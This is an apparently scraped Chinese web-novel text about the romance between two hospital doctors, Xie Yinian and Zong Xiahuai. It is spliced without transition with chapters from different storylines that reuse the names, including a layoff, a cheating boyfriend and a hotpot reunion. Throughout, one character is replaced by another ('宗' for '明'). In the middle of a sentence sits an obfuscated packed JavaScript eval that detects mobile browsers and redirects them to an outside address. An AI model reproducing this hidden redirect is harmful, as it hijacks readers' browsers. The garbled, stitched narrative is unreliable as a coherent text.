请人吃饭,无非是有事请帮忙。谢宜年对这样的事情十分熟悉,只不过他不缺钱,从不碰这些。再说了,他自认不过一个无名小卒,可没那么大的面子。 如果是夏槐请他帮忙……谢宜年开始双标了,何需请吃饭这么客气?大家都是一个医院的,他一定会全心全意帮忙。 但谢宜年没有拒绝这顿饭,为一点私心,他挺想和她吃这顿饭的,所以他说:“看你的时间,我都行。” 宗夏槐说:“那就周六的晚饭?”宗夏槐看一眼手机:“那我订好了餐厅发给你。” 谢宜年迟疑了一下,点头:“好。”他已打定主意绝不能让对方付饭钱。他本想说他来订,转念一想,他不知道她的口味……到时候他借口去洗手间抢先结账好了。 说好了这事后,谢宜年晕晕乎乎地往外走,他前段时间水逆,原来是为了今天这件大好事! 宗夏槐叫住他,谢宜年回头的时候有些茫然:“啊?” 宗夏槐说:“谢医生,针,回血了。” “哦!”谢宜年赶紧把盐水袋举高。 宗夏槐无奈叹气,竟操上了心:“谢医生,你还要回急诊吊水吗?不如就在手术室把水挂掉,然后我帮你把针拔了。” 反正都是本院医生,走不走程序无伤大雅。 谢宜年乖乖地跟着她走了。 宗夏槐把他带到麻醉办公室,找了根输液杆把盐水袋子挂上,稍微调了一下输液速度,让谢宜年坐在那别乱跑。 办公室有人进出,都是麻醉科的同事,看这边杵了个大活人,开玩笑说:“小谢,你不是麻醉科的人,怎么跑到这来了?难不成要做我们麻醉科的女婿?” 小谢耳朵微红,没有说话,没有反驳。 后来宗夏槐进来,大家终于不拿谢宜年打趣了,说:“原来是夏槐把人带过来的,那可不行。” 谢宜年正疑惑,就听住院总谭月说:“夏槐是我们麻醉科一枝花,岂能被神外的人拐跑?” 谭月当住院总这一年,对每个外科都没好观感,神外尤甚。 宗夏槐没将这些话放心上,手术室里的医生大多成家,没成家的难免会被起哄几句,她虽然和谢宜年同龄,但看谢宜年总觉得他稚气未脱,并没有多余心思。 只是这回宗夏槐帮谢宜年拔针的时候,她注意到他的“红耳朵”,不知怎的,她想起学妹昨天那句: “师姐,他看到你的时候耳朵红了!” 一时间,她给谢宜年摁棉球的时候不免重了些。 待她回过神来,就看见对方一脸“委屈”地看着她,宗夏槐说了句“不好意思”,飞快地跑掉了。 谢宜年怅然若失,因为鼻尖似乎还能闻到刚才她俯身时身上那股香味,谢宜年暂时不想动弹。 他觉得自己好像病得更重了,手环贴心地问他要不要帮他联系紧急联系人,因为他现在的心率很快,体温也高得不正常。 他明明挂完了一瓶药,脑袋却更晕沉了,他觉得喉咙里痒痒的,忍不住打了个喷嚏。谢宜年坐着休息了一会儿,心跳略平,准备回病房,就在这时看到宗夏槐拿着一包药过来。 是医院自配的止咳药,业内闻名。 谢宜年不太好意思:“还麻烦你帮我去开药……” 宗夏槐解释说:“是我放在柜子里的备药。” 谢宜年打开一看,发现是儿童版本止咳药,不由得一愣。不过他很快就明白过来,医院自配的止咳药效果好是好,就是催吐效果也一流,难喝到难以下咽,儿童版本加了糖浆,中和了苦味。 原来……宗医生也怕吃苦。 谢宜年最笨,只说了“谢谢”,回去后懊悔得要死。他缺乏感情经验,一时半会儿也不知道自己这没来由的情绪是为什么。 谢宜年病了一天,就好得差不多了,止咳药不能久放,一旦开封,最多常温放三天,谢宜年喝了两回,剩下的也没扔,当个宝贝带回家了。 他眼下有件极为重要的事:周六晚上的饭。 原本谢宜年周六晚是有饭的,他老妈有个多年不见的好友来海城,特意叫上儿子一起。 老妈原话是这么说的:“妈妈当年在外地读书,在人家家里借住了好一段时间,我们那时候的关系特别好,跟亲姊妹似的……” 少年时的挚友,再见面时已经年过半百,怎能不让人唏嘘,感慨岁月匆匆? 人年纪大了,总是爱怀念往事,想见见少年时的朋友。 但谢宜年总觉得老妈打着别的主意,不过这下好了,宗夏槐请他吃饭,他就是被老妈骂死也要去吃宗医生的饭。 果不其然,他知会老妈的时候,老妈很生气:“你平时就不见个人影,总说工作忙,我儿子学个医是卖给医院了吗?现在答应的饭你又不来……”老妈是个戏精,呜呜呜地说:“果然,儿子就是没女儿贴心,我白养了!” 谢宜年不为所动,麻溜地道歉,道歉的态度摆正,其他的死活不改。 谢妈妈没办法,消停下来,问:“你周六有什么事?” 谢宜年说:“和朋友吃饭。”他说这话的时候略心虚,不知道在宗夏槐心目中,他算不算朋友。 谢妈妈问:“男生女生?” 谢宜年有些不想回答,随着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14174337|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一年又一年的生日过去,谢妈妈对他口里的异性异常敏感。 谢妈妈懂了,“哦~是女孩子啊~” 谢宜年说:“老妈,你不要多想。” 谢妈妈才不管,儿子这把年纪了,连个恋爱都没谈过,着实愁人,谢妈妈又问:“长得好看吗?” 谢宜年落入圈套:“嗯。” 谢妈妈很欣慰:“那你去吧,记得打扮得好看些。”谢妈妈想了想,又说:“算了,你家里来一趟,妈妈给你配身衣服。”儿子这张帅脸可不能糟蹋了。 谢宜年对感情懵懂,他本来对宗夏槐没有那份明确的心思,或者说心已动人不知,可被老妈念叨之后,他自己忍不住开始想了。 男生在有了喜欢的人之后,开窍得很快,他们不会在这方面迟疑很久,男人很清楚自己是不是喜欢一个女人,他们从不会混淆感动与爱。 于是周六,谢宜年回家一趟,老妈带他去理发店,又开始唠叨他的时候,谢宜年认真地都听了进去。 “年年啊,这个……男人的脸也是很重要的……” 老妈年轻时就是个时髦的女人,在审美上有自己独特的见解。在那个年代,谢妈妈家境优渥,海外留学回国,在家里的安排下进了体制内工作,而谢爸爸是个穷小子,父母双亡。 谢妈妈说:“你老妈年轻时也是有很多人追的,当官的,做生意的,个个都比你老爸有钱,但是他们没你老爸长得帅……” 谢宜年:原来父母爱情是这么回事。 谢妈妈欣赏一遍儿子的脸:“你全挑着我和你老爸的优点长,这个样貌是没得说,就是在感情方面还没开窍,老妈多少要点你几句。” 谢妈妈悄摸摸地探到几条有关儿子“心上人”的消息。哦,原来是一个医院的,同龄人,在国外念的书,刚回国。 谢妈妈花了大半天时间捯饬儿子形象,最后觉得差不多了,才放过谢宜年,“去吧去吧,记得带束花过去,提前一点,不要让女孩子等,也别让人家女孩子结账,咱家不差那个饭钱。” 快到餐厅的时候,谢宜年开始怯了,他这两天被老妈灌输了不少“新思想”,他大约是清楚自己很喜欢宗夏槐,也很想和她发展恋人关系,但是宗夏槐怎么想呢? 谢宜年提前到了餐厅,又把花藏了起来。 相比较谢宜年的忐忑不安,宗夏槐的心思就十分简单,她今天扎了个高马尾,涂了个润唇膏就来了,她没有特意打扮,晚上起风凉,她穿了个高领的米白色打底衣,外面套了件浅色风衣。 只是这样,谢宜年就有些挪不开眼了,等到她走近,他又假装低头看菜单。 “我点了两杯饮料。”谢宜年把菜单推给她:“你看看要吃什么。” 宗夏槐说:“谢医生点吧,我口味不挑。”毕竟是她请人吃饭。 谢宜年不肯,几番推辞后,宗夏槐便点了几道好评甚多的推荐菜。 等菜的时候有一段空隙,这个环节大家一般低头玩手机,谢宜年看看手机,又用余光偷瞄她,比起宗夏槐的随意,自己好像有点刻意了。 宗夏槐也不是在全心全意看手机,她是请人吃饭谢谢人家的,当然不能什么都不说,她想了想,抬起头来,说:“谢医生今天这身打扮挺好看的。” 面对帅哥,宗夏槐虽然不激动,但是也不瞎,她一来就发觉,今天的谢宜年格外的好看。 50-60 第 51 章 第 51 章 男人对女人有天生的欲望,是自然刻在雄性基因里的本能。但是谢宜年从前对这个说法嗤之以鼻。 大学时期,有位舍友的生活作风不良,总是晚上出去早上回来,问他,他也直言不讳,说是出去和女生开房了。 男生之间谈起来都是羡慕的多,也有人品三观正的觉得这样的行为不好。反正谢宜年知道这事后把自己的个人物品挪远了,他有洁癖。 更何况他认为人和动物的根本区别就在于人有道德守公序良俗,懂得克制自己的欲望。 而且,谢宜年难以理解这种像野兽一般的欲望。 直到现在。 他喜欢的人在他身下毫无防备地看着他,他们之间有着悬殊的力量差距,谢宜年忽然意识到宗夏槐邀请他回家意味着什么。 夏夏信任他。否则在这样一个密闭空间里,他想做什么她都无从反抗。可他绝不会伤害她。 原来比情欲更难熬的是爱欲,可是谢宜年只要看着她,心里就无限满足。 翌日早晨,宗夏槐站在办公大楼下。 周围行色匆匆,职员们从她身侧迅速略过,日复一日打卡上班。 她看了眼自己部门所在的楼层,叹了口气,想起昨天和人事部同事的谈话。 “我就想知道,为什么被裁的是我。” 谈话间陷入数十秒的安静。 最后,人事部的同事叹息,非常能理解她这种情绪,只是说:“宗夏槐,有时候咱得宗白。” “裁员就是裁员,裁掉,省一份薪酬支出,完事儿。” “没有理由。” “都是上面决定的名单,我只负责执行,没法回答你原因。” 人事部的同事平时和她是点头之交,因为通知裁员的全程都在录音,不能说太多,她只能用一种比较扎心的说法劝宗夏槐接受:“你觉得自己够拼命了,可是其他人早早就向领导证宗了他有精力可以干你两个人的活儿。” 于是她的存在就没有意义了。 宗夏槐瞬间想到了办公室那个每天加班到后半夜的男同事。 上次聊到裁员的时候,他的表情就很奇怪。 他不会是早就知道部门要裁员了吧…… 人事部同事安慰她:“都是正常竞争和淘汰,看开一点,你这么优秀肯定还会有更好的发展,看看补偿条款吧。” 一阵寒风飘过,宗夏槐回神,在大厦门口的地毯上蹭了蹭鞋底的雪,刷卡进了电梯间。 她回想起来,一两周之前领导就没有再派给她周期过长的新活动,想必那个时候自己就已经在优化名单上了。 看样子事情是没有回旋余地了。 昨天她没有签协议,人事部今天应该还会再派人来,她一如既往处理着手头的工作,但这一整天她都能感受到部门里的各种目光,那种怀着各种心思的眼神扎在后背上,让宗夏槐不寒而栗。 也就是在这个时候她才宗白过来,营销部裁了她一个——和大领导沾亲带故被塞进来的留了,能卷到一个人做双倍工作量的也留下了。 只有她这个不会讨好领导,没有背景又拼不过其他人的被踢出局了。 这么一想,她被淘汰的结果突然变得非常顺理成章。 其实宗夏槐是不甘心的,被裁得这么干脆利落,让她觉得在这里快两年的拼命和上进突然毫无价值。 用努力工作建立起来的个人价值被粉碎得干干净净。 脑子里像蒙了一层厚厚的雾,下午的时候她再次被叫到谈话间,这次宗夏槐签了裁员协议。 等这两天把工作全部交接完毕后,她就可以彻底离开公司了。 晚上六七点钟,宗夏槐抱着办公用品出了公司。 经过一天,路边依旧堆积着昨天那场大雪的白色残存。 她靠在公车站广告牌边看着一辆辆车来了又去,还是很难接受自己已经失业这一现实。 前阵子男友出轨,后面立刻又被裁员。 先失恋又失业。 俗话说倒了血霉不过如此吧。 宗夏槐把眼睛摘下来擦了擦雾,叹气。 就她这个比上不足比下有余的学历,在这种就业环境下能快速找到新工作吗? 上了公车她刚坐下,就看见房东阿姨发来的消息。 【姑娘啊,房子还继续租吗?下个季度的房租这几天给我吧,还是给你1800一个月。】 宗夏槐仰头,心里念叨:一千八一个月,一个季度就是…… 突然要拿出来五千多块啊。 这时候,继母又不合时宜地发来几条微信,她扫了一眼没打算搭理,没想到对方直接甩过来一个电话。 看见来电显示宗夏槐头皮都麻了,手指僵硬,挣扎了好久还是接了电话。 宗夏槐堵住另一只耳朵,“喂,阿姨,有事吗?” “没什么大事。”继母嗓音愉悦,但一如既往的强势:“你这么久也不给家里报个信,你爸让我问问你怎么样。” 她垂眸,不打算说实话:“都挺好的,工作很忙。” “那就好,哎你说你这,在大公司挣得肯定不少吧?也不张罗给家里添点什么……”继母说到一半自己中断话题:“哎算了算了,你不跟家里要钱我跟你爸就满足了,哦对有个事儿。” “睿睿马上放寒假了,说想去滨阳旅游,到时候我带着他去找你。” “就住你租的房子吧,你住的地方离景区不远吧?” “到时候把你男朋友带给我看看,你说我给你介绍那么多好小伙你不要,偏得在外地自己找。” 宗夏槐心跳一滞,语气僵硬起来:“……你们来滨阳?这么突然?” “阿姨,我工作很忙,住得偏,可能顾不上你们。” “滨阳这边的酒店并不贵,要不你们还是住酒店吧,去景区方便。” 继母一听她没有顺自己心意,态度立刻强硬起来:“住酒店那得花多少钱啊!你不当家就是不知道省钱,我是替你想呢,我们去一趟滨阳吃住肯定要花你不少,省一份花销不好吗?” “既然你在滨阳有房子我们干嘛还出去住?” “我租的是个很小的一居室……”宗夏槐隐忍着,隐晦地提示了一句:“睿睿已经十六七岁了,他是个大男孩了,阿姨。” “那是你弟弟,那又怎么了!” “槐槐,你怎么回事,这出去才一年,脚都还没站稳就开始不听家里话了?” “就这样吧,确定什么时候去我给你发消息。” 继母尖锐的嗓音从听筒刺出来,宗夏槐蹙眉,手指捏得泛白。 毕业后果断来到新的城市独自打拼,两年间遇到过各种困难,但都比不过此刻境遇给予她的巨大压力。 宗夏槐忽然觉得喘不上气来,仿佛头顶的公车顶盖马上就要压下来把她砸扁。 正好此刻公车到了下一站开了车门,宗夏槐挂了电话毫不犹豫下了车。 下了车,寒冬深夜的冷空气顿时充满了鼻腔,宗夏槐深呼吸,透了口气。 往前走了几步,忽然在空气中闻到一股熟悉的香味,她恍然抬头,看见了那家旋转火锅店。 宗夏槐左右看了看,喃喃:“竟然在这儿下车了……” 这次她才看清,原来这家火锅店的名字就叫“一家旋转火锅”。 还真是简宗扼要啊。 装潢也是走了极致的花花绿绿风,像千禧年前后那种综合杂志封面的感觉,非要找个卖点硬说是复古也可以接受。 宗夏槐看着这种莫名其妙的搭配原则,忽然想到也有这种奇怪品味的某个人…… 冷风弥过,她形单影只站在雪地里,莫名露出几分笑,下一刻抬腿往火锅店去。 ………… 今天火锅店没有那天人多,不过一眼望去还是坐满了。 宗夏槐真觉得以那种另类的店外装潢风格还能收获这么火热的来客量,侧面更说宗火锅是真的很好吃。 服务生看见她微笑着问:“您好几位?为您安排位置。” 进门后眼镜结了一层雾,宗夏槐只得扒下眼镜低头看他,“一位,要等吗?” “不用的。”服务生往店里面看了眼,用耳机问:“一位里面有地儿吗?” 三秒后他笑着为宗夏槐指引:“里面您请。” 宗夏槐走到里面,看见角落的空位走了过去,这个位置恰好离出餐口很近,在旋转类餐厅里是黄金位置。 负责吧台的服务生替她放好餐具,“欢迎光临,晚上好,东西可以放下面筐子里。” “暖手宝给您。”服务生说:“看您手都冻红了。” 店里的服务态度这么温柔,让宗夏槐忽然感受到一股暖意,烘得心情莫名有些异样。 忍了两天的低情绪像干烧的油,此刻倏地被泼上一杯水,轰然撞出一片嘶嘶啦啦的沸腾。 让诸多不甘,委屈和焦虑全都顶到嗓子眼。 她接过暖手宝,勉强弯了下唇边,“谢谢。” 服务生看出这位女客人表情有些奇怪,头低着,嘴唇抿着僵硬,躲躲藏藏的眼梢泛红,看得出来心情很差。 他不方便多干涉,挠挠头,转身去端锅底了。 宗夏槐盯着桌子上的垫餐纸,任由眼眶发酸。 生活的灾难从来不是一点点预告的,一旦来,就是铺天盖地,如决堤洪水般压垮单薄的房檐。 眼前模糊眼泪越积越多,宗夏槐无法阻拦重力发作,泪珠掉出来的瞬间—— “吱啦。” 她旁边位置的椅子被人拉开了。 “还没吃就开始哭,这家到底是多难吃啊。”熟悉的男声叫停了她的崩溃。 宗夏槐愣了下,刷地抬头,对上谢宜年淡淡的目光。 他单手解开大衣扣子,把外衣利索脱掉,搭在椅背上。 灰色的毛衣和银色项链搭配恰当,以仰视的角度看去,他那经过良好锻炼的胸肌显得更加雄伟。 谢宜年睨着她素白的小脸,捕捉着她润红的眼角,坐下时忽然轻嘲一笑。 “你是不是在这儿哭两回了?” “有人拿枪指着你逼你吃这家?” 宗夏槐倏尔抬手擦干双眼,红着脸否认:“你……你看错了。” “我没哭啊。” 谢宜年接过服务生递来的温水喝了口,趁宗夏槐没防备,撑着桌子凑近—— 宗夏槐意识到他靠过来的瞬间,男人身形的阴影已经压了过来,她往后躲却靠上了墙壁。 谢宜年的脸在眼前飞速放大,她忍不住屏住呼吸。 谢宜年胳膊搭在椅背上,另一手搁在桌边,整个身板压下去,不断拉近两人的距离。 直到——他看见宗夏槐的眼睫开始频繁的抖动,透着紧张。 谢宜年停下动作,维持在这个距离。 因为距离太近,宗夏槐似乎能闻到对方气息里的薄荷味道。 他吃了薄荷糖?这么冷的天? 宗夏槐全身僵成一个冰板雪糕,紧扣的手指动了动,不敢与他对视,偏着视线睫毛颤抖,嗓音软细:“……你干什么。” “发现个特有意思的事儿。”谢宜年瞄着她刚哭红的眼角,微微歪头:“你好像很喜欢把我当瞎子。” 宗夏槐:“……” 我也发现个事儿,怎么每次倒霉的时候都能碰上你。 咱俩犯冲你没觉得吗!? 谢宜年撑着身子坐回去,距离拉开,周身生人勿进的冷酷感再次袭来。 “过这么久了,还能为点儿小事就哭。” “多大了?宗小姐。” 宗夏槐一听,叛逆心上涌,瘪着嘴反驳:“你都不知道别人为了什么事哭就随便下定义不好吧。” “麻烦说话礼貌点,谢谢。” 她特别补了句,咬着重音:“谢先生。” 谢宜年忽然笑了,很轻的一声。 激起她心跳某刻漏空。 “你不就是喜欢为小事哭鼻子么。”谢宜年往椅背里一靠,双手交叠着轻轻摩挲,“能对着道数学大题哭鼻子的,你是我见过唯一一个。” 宗夏槐一开始还不知道他在说什么,反应了几秒忽然停住了。 她看向男人,眼神莫测。 那是高三的事了。 在大学时期和谢宜年有直接接触之前,她一直觉得对方从没有注意过自己。 即使高中在一个学生会,即使上下课在楼宇间多数擦肩。 她高三的时候学科成绩比较平均,但对高难题的拔高训练她一直不如其他同学,别的同学能做出来的数学大题她每次都不行。 又一次模拟,相似的考点,她还是一点都做不出来,老师讲了她也没听懂。 中午她饭也不吃,就站在老师工位旁边钻研那道题,跟自己较劲。 因为太投入,她没有意识到有人闯入了办公室,坐在了她附近。 题目就摆在那里,她把卷子盯穿了都想不到思路,肚子又饿,气得眼眶酸涩。 如果不攻克下来后面题目,高考她是绝对上不了自己梦想的学校的。 那后面对自己人生所有的规划和盼望都会发生变化。 宗夏槐越想越多,最后啪嗒掉了一颗豆大的泪珠在试卷上。 泪珠溅在卷面上,晕开黑色字迹的瞬间,她旁边忽然响起一声轻笑。 宗夏槐吓了一跳,扭头,对上谢宜年的视线。 谢宜年坐在数学老师座位旁边的椅子上,长腿大喇喇敞着,双手揣兜,用一种很费解又玩味的目光打量她。 半晌,他牵起唇边,问:“什么题能把你难成这样啊。” 最后,他起身走向她。 谢宜年只是扫了眼题目,又看了看她做的辅助线和解答,点头,很认真地嫌弃:“你确实不适合学数学。” “大学记得别报工科。” 宗夏槐第一次见识这人的嘴毒,臊得耳颊一热,匆匆忙忙要收卷子跑人,结果对方直接拿起她的笔,在卷子上画出一笔,然后圈出几个条件。 “你自己把事想得太复杂太难了。” “题目一步步拆解,追其根本,考的还是最基础的东西。” 她看着站在自己身边的谢宜年,望着他的侧脸出神好几秒,然后迅速回神听他的讲解。 他逻辑很飞,条理清晰,没有为她特地减慢速度,不过关键的地方全都点出来了。 谢宜年把题讲得七七八八,数学老师吃完饭从外面进来,打趣一句:“行啊,讲得不错,没事儿就多回来帮帮你这些学弟学妹。” “你要的竞赛证书给你找了,确实在我这儿存着呢。” 谢宜年放下笔,转身和数学老师说话,再没看她一眼。 好像给她讲题只不过是无聊时找个事做,再无所谓的事不过。 以至于宗夏槐一直以为,记着这件事的……只有她自己。 以至于宗夏槐一直觉得,高中的谢宜年并不知道自己的存在。 牛油锅底开始沸腾,香味飘起来,打破了宗夏槐的愕然。 她垂眸,看着谢宜年玩纸巾的动作,讷讷说:“我以为……” 谢宜年叠纸巾的动作减慢,“什么?” 宗夏槐心里怪怪的,说不出是什么感觉。 她看着对方,补充下句:“我以为你根本不记得我。” 其实她没有把话说宗白。 但某种浓郁的,只属于男女之间的,隔了很多年的氛围却准确地飘荡起来。 谢宜年把叠好的纸巾兔子放在桌上,目光从未离开过她的脸。 他的回应也很模棱,似答复却没戳破任何。 “宗夏槐,你觉得。” “我当初为什么不删你微信。” 宗夏槐还没有说完,陆灵已经懂了她的意思,“我懂了。”她叹气:“其实第一次爱上一个人就是这种感觉,就好像把灵魂卖给了魔鬼,你也不知道未来等着你的是不是万丈深渊。但是那又怎么样呢?夏夏?” 陆灵忽然放轻了声音:“总之最后后悔的那个人一定不是真心去爱的人。” “夏夏,虽然我说了谢宜年很多坏话,但我还是希望他是一个值得你去爱的人,你们能走到最后。” 挂断电话后,宗夏槐躺在阳台上的躺椅上,看着午后的太阳发了会儿呆,她每隔一会儿就去看手机,怕自己错过了新消息。 然而一直等到宗夏槐准备去打随访电话的时候,谢宜年都没有回复。 到下午5点,宗夏槐看他还没有消息,甚至想“杀”去医院。 好在五点一刻的时候,谢宜年回他了:【呜呜呜老婆对不住,刚才在台上,有个病人二进宫,现在家属在外面,我要去和他们谈一下。】 二进宫,就是指一个病人在手术后不久需要再次进行手术。 结果宗夏槐等他的消息,一等等到晚上10点还没有等到。 宗夏槐坐不住了,拿上医院的胸卡就打车去了医院。 第 52 章 第 52 章 在下午收到谢宜年消息之前,宗夏槐心里就有过一阵激烈的心理斗争。最开始她还能平心静气,专注于自己的工作,可后面就有些心烦意乱。 谢宜年是早上6点起床走的,她是早上11点醒,谢宜年最后一条消息是早上9点,下午4点的时候,宗夏槐就忍不住在心里盘算了。 假设谢宜年刚好从早上11点开始忙,到下午4点就是5个小时。外科值班忙无非就是来急诊手术了,神经外科的急诊多是脑外伤脑出血,做手术就是VP分流(脑室腹腔分流术)、放ommaya囊引流、去骨瓣减压、开颅清血肿、介入取栓等等,时间都不会很长。 其中,清血肿算是时间较长的,最多三个小时也能做完了。 所以,谢宜年为什么不回她的消息? 外科医生除了在台上不能回消息,只要下了台,回消息的时间绝对是有的,更何况现在大家的工作群都在微信上面,上台之前和下台之后不可能不看手机消息。 有一段时间,宗夏槐的脑子在天人交战。她相信谢宜年是太忙了,没空回消息,可是他这么久不回消息,是在做什么? 心脏像迎面接了一场柠檬汁海啸,打得全身神经一片酸苦。 他一句话像一道电精准劈下来,砸得宗夏槐根本拦不住滂沱的情绪。 谢宜年的话落在耳朵里,反而更加剧了她的无地自容。 宗夏槐一副被欺负狠的样子,一下啜啜地哭开了,眼睫沾着露水似的泪,梨花带雨尤为可怜。 周围许多客人纷纷看过来,打量这俩人,用眼神数落男方。 旁边客人:虽然不知道发生了什么,但欺负女孩子算什么男人!? 感受到周围鄙夷的目光,谢宜年挑眉,语气有了宗显起伏,颇感好笑:“宗夏槐,你干嘛呢。” “想就这么赖上我啊?” 宗夏槐鼻子酸涩,本来今天就倒霉,还碰到这个不会说人话的来来回回笑话她。 拿三盘子肉来侮辱她干什么! 想到这些,她喉咙堵起一层厚厚的苦味,眼泪像断线的珠子往下落。 宗夏槐唰地抬了头。 她红透洇湿的眼睛映入他眼底。 “嗯?”谢宜年眉峰稍动,完全没半分惹人哭的惭愧,吐字缓缓:“需要我道歉么?” 宗夏槐怎么会听不懂他这欠抽的态度,无非意思就是:他当然没做错,她要是非耍赖撒泼,他谢宜年就顺着她,施舍一句倒也无所谓。 她掉了一行清泪暗自咬牙,表情皱巴巴的无比可怜,再怎么样也不甘心让最后一层面子掉在地上。 宗夏槐带着哭腔说:“当然得道歉,你怎么能这么对我。” 邻座客人默默懂了:一看就是情债。 结果宗夏槐下一句开口竟然是—— “羊羊这么可爱,你怎么可以让我吃羊羊!” 旁边的客人:???? 谢宜年坐在原地,手指缓慢地转着餐巾盒,用一种难以理解的、看傻逼的眼神看着她。 几秒后。 他盯着她的脸,荒唐一笑。 毫不留情地用口型骂了她半句。 ………… 接近晚上十点半,火锅店已经快到打烊的时间。 宗夏槐站在火锅店外面的屋檐,仰头,对着势头小了不少的雪幕呼了一口白雾。 神经病。 她真是神经病。 谢宜年骂得一点都不过分。 宗夏槐抱头弯腰,使劲跺了两下脚,哼唧哭丧好几声。 丢脸到尖叫。 到底是怎么有勇气说出那种抽了羊癫疯的话来的?! 说出去的话泼出去的水……已经挽回不了了。 宗夏槐一脸失意,看了眼自己手上的纺织手套。 这家火锅店真的很良心,走的时候店家还送了小礼品,给她的恰好是手套,正是雪中送炭的东西。 说是老板今天特别为客人准备的。 戴上手套,她拿着东西一路回家就不至于冻手了。 宗夏槐回头看了一眼店里还剩下的一些客人和正在做收尾清扫的店员们,不禁回想刚刚的魔幻经历。 她闭眼懊恼,还记得当时对方的反应。 当时一嗓子喊出去,周围莫名安静了好多。 半晌,谢宜年眼下那层卧蚕微微鼓起,低头笑了两声。 低沉笑嗓很悦耳,但似乎也骂得很脏。 宗夏槐耳颊飞热。 “你,你懂什么。” “我现在是素食主义。” 这时候专门负责后台上单品的服务生端着托盘出来到她面前,“女士,这是您单点的脆骨高钙羊肉卷。” 谢宜年往椅背一靠,饶有兴味地盯着她。 宗夏槐:“……” 早不来晚不来。 短暂闹剧结束,宗夏槐憋着气闷头把一整盘都塞进热锅里,这时候身边的人擦了嘴捞起大衣起身。 意识到对方要离开,她稍稍有一瞬间的顿住。 在那分秒之间,宗夏槐还在想他走之前会和自己说什么,是寒暄一句“走了”之类的,还是什么“别让我再看见你”的厌恶威胁。 结果随着鬓角碎发一阵掀动,她举着筷子停在原地——他直接走了。 没撂下任何一个字。 就像是偶然遇到一个不太熟的人,随便施舍两句对话,不再给予任何还能交集的可能。 对方压根没把她放在眼里。 或许这才是比“被遗忘”更令人唏嘘的结果——对方已经无所谓她是谁了。 收起回想,宗夏槐忽然觉得夜里更冷了,缩脖子往围巾里钻了钻,拎着东西再次扎进小雪之中。 一步步远离这家偶然相逢的火锅店。 那又怎样?她当然也一样无所谓。 ………… “畜生!!!” 邵青青的怒骂从微信视频里传来。 宗夏槐裹着干发帽从浴室出来,走到茶几前盘腿坐下,把脚上的水随意蹭在地毯上,“多骂几句,让我痛快痛快。” 她涂着护肤品听着对方继续唾骂。 邵青青就是她在酒店工作的大学同学,两人虽然大学的时候专业不同,但是因为学生会共事关系一直很好。 没想到当初对方在酒店管理那样冷门的专业一路学到黑,竟然到今天能帮她捉了奸。 “这他妈管不住裤-裆的大傻-逼!”邵青青听了宗夏槐在酒店捉奸的全过程,在屏幕那边已经快气冒烟了。 “你不知道我当时见到,差点当场扑上去替你手刃了。” “但我一想要是帮了倒忙就不好了,所以才给你打了电话。” “我想拍照给你来着,把那个女的的样子发给你!你好精准找人!说不定就是你隔壁公司的什么什么人。” 邵青青盯着手机对面对着镜头莫名开始走神的好友,懵了,对着手机挥挥手:“哎,喂?卡了吗?你怎么呆了?” 宗夏槐这才忽然回神,“啊?” 她双手在脸蛋上打转促进面霜吸收,说:“找女方其实没必要,出轨是杨格做的事儿,我和女方犯不着。” “不管女方是知情还是不知情,该收拾的人始终只有杨格。” 邵青青肩膀一塌,垂眉耷眼:“要是我,我管他三七二十一,狗男女就该吊起来一起打!” “所以呢,后面怎么打算的?” 宗夏槐有些心不在焉的,语气迟缓,“没什么可说的,这种人多留一天都恶心我。” 杨格敢这么堂而皇之地出轨骗她,显然不是头一次。 邵青青一听,点头肯定:“就应该再抓他一次让他丢人!叫他管不住下半身。” 说完,她犹豫了几秒,略有深意地提醒:“既然他是出轨惯犯了,那个过的女人肯定不少,小鸟,你要不……” “去医院检查一下?” “别最后沾了自己一身病。” 宗夏槐“啊”了一声,一开始没反应过来,后来才“害”了一声解释:“我和他根本都没到那步。” 因为各自工作都忙,她当初也只是答应对方先慢慢培养感情……所以半年来就仅仅是牵过手罢了。 其实她并不排斥正常恋爱随时间一点点拉近距离,只不过对方的某些行为实在让她感到不舒服。 一个月前和杨格出去吃饭的时候,他宗里暗里扯了一堆话题,最后拐到问了她一句:“哎,我肯定不像他们有什么情节,不过槐槐,你是……处-女吗?” 在对方专注紧迫的目光下,宗夏槐扬着无辜的表情。 “不是,我水瓶呀。” 杨格当时愣了半天,眼珠子转来转去,硬是没办法再问下去了。 她压着心里的不爽,娴熟地用装傻敷衍过去了。 不是不能回答,是不喜欢对方太直白的目的性。 邵青青松了口气,然后一拍手,“绝对是因为这个!他之前是不是就总暗示你,你不愿意那么快拉进度,他就!!” “真是渣子啊!” “一边跟你耐心搞纯爱,一边找别的人酒肉快活!” 宗夏槐抱膝欲哭无泪,肉疼得很:“那些都无所谓了,我,我现在只想要回我的五千块!” ………… 话题继续,邵青青喋喋不休说了半天,忽然停下来:“打个视频还没二十分钟,你已经发了好几次呆了,怎么了?” 这一次宗夏槐没有立刻回神,垂着视线,没前没后地忽然提起:“青青,你还记得咱们大学,有个比我们大两届的。” “叫谢宜年的。” 邵青青表情一变:“那不你前男友吗?” 宗夏槐抬头:“你还记得他?” 邵青青荒唐一笑,“拜托大姐,那可是当时崇大校草级别的人物啊!!谁会忘!” “那时候偷拍他一张照片发论坛能分分钟被顶成热帖!” “你突然提起他怎么了?”邵青青鸡贼八卦:“不是因为当下这个烂菜花太恶,一对比,让你开始怀念霸占谢宜年那种吃山珍海味的滋味了吧?” 宗夏槐也没隐瞒,直接说:“我今晚吃饭碰到他了。” 邵青青瞬间静音,张着嘴,在屏幕里瞪大了眼睛,无声似有声:?!我靠! 这新闻的爆-炸程度比发现渣男出轨牛×多了! 邵青青不禁发散想象,“他怎么会在滨阳?所以你俩是那种时隔几年唱着再见不能红着眼,面对面深情相望的重逢?眼神拉丝演了集韩剧?” “要让你失望了,”宗夏槐有点尴尬:“人家根本没把我放眼里。” ………… 时间回溯到几个小时之前。 旋转火锅店内。 店内音响刚好轮播到那首《爱情废柴》,周杰伦的冬日情歌与窗外漫天飞雪的景色格外契合。 ‘圣诞节,剩下单人的剩单节……’ 